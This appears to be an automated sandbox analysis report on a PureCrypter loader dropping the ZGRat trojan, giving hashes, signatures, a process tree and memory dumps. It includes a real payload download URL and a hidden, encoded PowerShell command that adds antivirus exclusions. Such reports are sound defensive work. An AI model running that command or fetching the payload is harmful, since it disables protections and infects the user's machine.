Analysis
- max time kernel
145s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20240221-en - resource tags
- submitted
20/03/2024, 02:35
General
- Target 9663cb27096c5592837253411ddee56a54b84b1851cd77e7b33768091ef26fa2.exe
- Size 16KB
- Sample240320-c3c8raeg63
- SHA256 9663cb27096c5592837253411ddee56a54b84b1851cd77e7b33768091ef26fa2
Malware Config
Extracted
-
purecrypter
-
http://41.216.183.153/no/dontlook/re/research/Kofdzsxxr.mp3
Signatures
- Detect ZGRat V1 35 IoCs
- PureCrypter
PureCrypter is a .NET malware loader first seen in early 2021.
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
- ZGRat
ZGRat is remote access trojan written in C#.
- Executes dropped EXE 2 IoCs
- Suspicious use of SetThreadContext 3 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 9 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\9663cb27096c5592837253411ddee56a54b84b1851cd77e7b33768091ef26fa2.exe"C:\Users\Admin\AppData\Local\Temp\9663cb27096c5592837253411ddee56a54b84b1851cd77e7b33768091ef26fa2.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Method\mjypw\NumberDecimalDigits.exe"C:\Users\Admin\AppData\Local\Method\mjypw\NumberDecimalDigits.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\9663cb27096c5592837253411ddee56a54b84b1851cd77e7b33768091ef26fa2.exe"C:\Users\Admin\AppData\Local\Temp\9663cb27096c5592837253411ddee56a54b84b1851cd77e7b33768091ef26fa2.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAATgB1AG0AYgBlAHIARABlAGMAaQBtAGEAbABEAGkAZwBpAHQAcwAuAGUAeABlADsA1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Method\mjypw\NumberDecimalDigits.exeC:\Users\Admin\AppData\Local\Method\mjypw\NumberDecimalDigits.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAATgB1AG0AYgBlAHIARABlAGMAaQBtAGEAbABEAGkAZwBpAHQAcwAuAGUAeABlADsA1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
NumberDecimalDigits.exe
9663cb27096c5592837253411ddee56a54b84b1851cd77e7b33768091ef26fa2.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_zdaocmb3.zid.ps1
memory/1444-63-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-4841-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/1444-5-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-7-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-9-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-11-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-1402-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/1444-17-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-21-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-4830-0x000002AFDE890000-0x000002AFDE891000-memory.dmp
memory/1444-19-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-25-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-15-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-27-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-29-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-31-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-33-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-35-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-37-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-39-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-41-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-43-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-45-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-47-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-51-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-53-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-49-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-55-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-57-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-59-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-61-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-3-0x000002AFF71A0000-0x000002AFF744A000-memory.dmp
memory/1444-67-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-65-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-13-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-4-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-23-0x000002AFF71A0000-0x000002AFF7444000-memory.dmp
memory/1444-4831-0x000002AFF7550000-0x000002AFF763C000-memory.dmp
memory/1444-4832-0x000002AFDE8A0000-0x000002AFDE8EC000-memory.dmp
memory/1444-4833-0x000002AFF7640000-0x000002AFF7694000-memory.dmp
memory/1444-1996-0x000002AFF7040000-0x000002AFF7050000-memory.dmp
memory/1444-0-0x000002AFDCB60000-0x000002AFDCB68000-memory.dmp
memory/1444-1-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/1444-2-0x000002AFF7040000-0x000002AFF7050000-memory.dmp
memory/1608-14154-0x0000025432830000-0x0000025432840000-memory.dmp
memory/1608-14155-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/3152-14170-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/3152-14158-0x0000028321350000-0x0000028321360000-memory.dmp
memory/3152-14168-0x0000028321350000-0x0000028321360000-memory.dmp
memory/3152-14157-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/3176-11926-0x00000208B3400000-0x00000208B3410000-memory.dmp
memory/3176-14153-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/3176-11925-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/3556-7090-0x00000199C3980000-0x00000199C3990000-memory.dmp
memory/3556-7089-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/3556-14151-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/3556-11917-0x00000199C3900000-0x00000199C3901000-memory.dmp
memory/3556-9341-0x00000199C3980000-0x00000199C3990000-memory.dmp
memory/3556-8751-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/4172-7086-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/4172-7073-0x0000029EFD130000-0x0000029EFD140000-memory.dmp
memory/4172-7079-0x0000029EFD140000-0x0000029EFD162000-memory.dmp
memory/4172-7072-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/4172-7083-0x0000029EFD130000-0x0000029EFD140000-memory.dmp
memory/4780-4842-0x000001AC7FD80000-0x000001AC7FE66000-memory.dmp
memory/4780-4843-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp
memory/4780-4844-0x000001AC7FEB0000-0x000001AC7FEC0000-memory.dmp
memory/4780-4840-0x0000000140000000-0x000000014009A000-memory.dmp
memory/4780-7069-0x000001AC00730000-0x000001AC00786000-memory.dmp
memory/4780-7071-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp